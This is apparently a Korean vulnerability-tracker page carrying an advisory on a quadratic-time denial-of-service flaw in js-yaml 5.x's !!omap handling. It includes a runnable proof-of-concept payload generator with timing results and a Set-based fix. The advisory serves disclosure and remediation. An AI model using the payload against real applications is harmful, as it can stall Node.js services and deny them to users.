js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L상세 설명
Summary
js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.
Details
In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):
1var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { 2 create: () => [], 3 addItem: (container, item) => { 4 // ... 5 for (const existing of container) // O(n) per insertion! 6 if (hasOwnProperty(existing, itemKeys[0])) 7 return 'cannot resolve an ordered map item'; 8 container.push(object); // n insertions → O(n^2) total 9 return '';10 }11});For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.
PoC (runtime-confirmed on v5.2.0)
1const yaml = require('js-yaml'); 2function buildOmapPayload(n) { 3 let p = '!!omap\n'; 4 for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n'; 5 return p; 6} 7// Timing results on v5.2.0: 8// n=1000: 9ms 9// n=5000: 73ms (5x n → 8x time)10// n=10000: 255ms (2x n → 3.5x time — supralinear)11// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)12// n=50000: 10613ms ← blocks event loop for >10 seconds13yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });Impact
Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).
This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).
Fix
Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:
1var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { 2 create: () => ({ list: [], seen: new Set() }), 3 addItem: (state, item) => { 4 const key = Object.keys(item)[0]; 5 if (state.seen.has(key)) return 'duplicate omap key'; 6 state.seen.add(key); 7 state.list.push(item); 8 return ''; 9 },10 resolve: (state) => state.list11});AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…